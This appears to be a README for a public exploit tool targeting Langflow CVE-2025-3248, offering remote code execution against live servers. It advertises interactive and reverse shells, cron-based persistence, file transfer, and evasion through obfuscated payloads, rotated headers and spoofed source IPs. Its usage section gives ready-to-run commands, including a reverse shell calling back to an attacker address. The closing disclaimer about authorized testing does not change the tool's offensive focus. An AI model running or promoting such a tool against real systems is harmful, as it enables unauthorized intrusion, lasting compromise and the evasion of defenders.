Langflow RCE Exploit (CVE-2025-3248)

Remote Code Execution Exploit for Langflow (CVE-2025-3248)

Features

• Automatic vulnerability detection
• Multiple exploitation modes:
  • Interactive shell
  • Single command execution
  • Reverse shell connection
• File upload capability
• Colorized user interface
• Multiple reverse shell methods
• Command history persistence

📌 Changelog (v2.0)

✨ New Features:

• Advanced payload system with 5 execution methods
• File upload/download with Base64 encoding
• Persistence via cron jobs (persist command)
• Interactive shell upgrades:
  • upload local_path remote_path
  • download remote_path local_path
  • clear command for terminal

🛡️ Security Enhancements:

• Automatic payload obfuscation (Base64 + random variants)
• Header rotation per request:
  • Random User-Agent
  • Spoofed X-Forwarded-For IPs
• HTTPS bypass (self-signed cert support)
• No redirects to avoid detection

⚡ Technical Improvements:

• Multi-stage vulnerability verification
• Enhanced error handling for unstable connections
• Full session logging to exploit_log.txt
• Command history persistence (.langflow_shell_history)

📊 Version Comparison:

🐛 Bug Fixes:

• Fixed HTTPS connection issues
• Improved handling of special characters in commands
• Stabilized reverse shell reliability

Requirements

• Python 3.6 or newer
• Required libraries:
  • requests
  • colorama
  • readline

Installation

git clone https://github.com/0-d3y/langflow-rce-exploit.git
cd langflow-rce-exploit
pip install -r requirements.txt

Usage

python exploit.py <URL> [options]

Available Options:

Examples:

1. Check vulnerability:

python exploit.py http://target.com

2. Start interactive shell:

python exploit.py http://target.com --shell

3. Execute single command:

python exploit.py http://target.com --command "whoami"

4. Launch reverse shell:

python exploit.py http://target.com --reverse 192.168.1.100 4444

Screenshots

Image.png)

Warning

âڑ ï¸ڈ This tool is for educational and authorized testing purposes only.
âڑ ï¸ڈ Unauthorized use against systems you don't own or have permission to test is illegal.

License

This project is licensed under the MIT License - see the LICENSE file for details.

Author

• Mr.SaMi
  
  

Contributing

Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.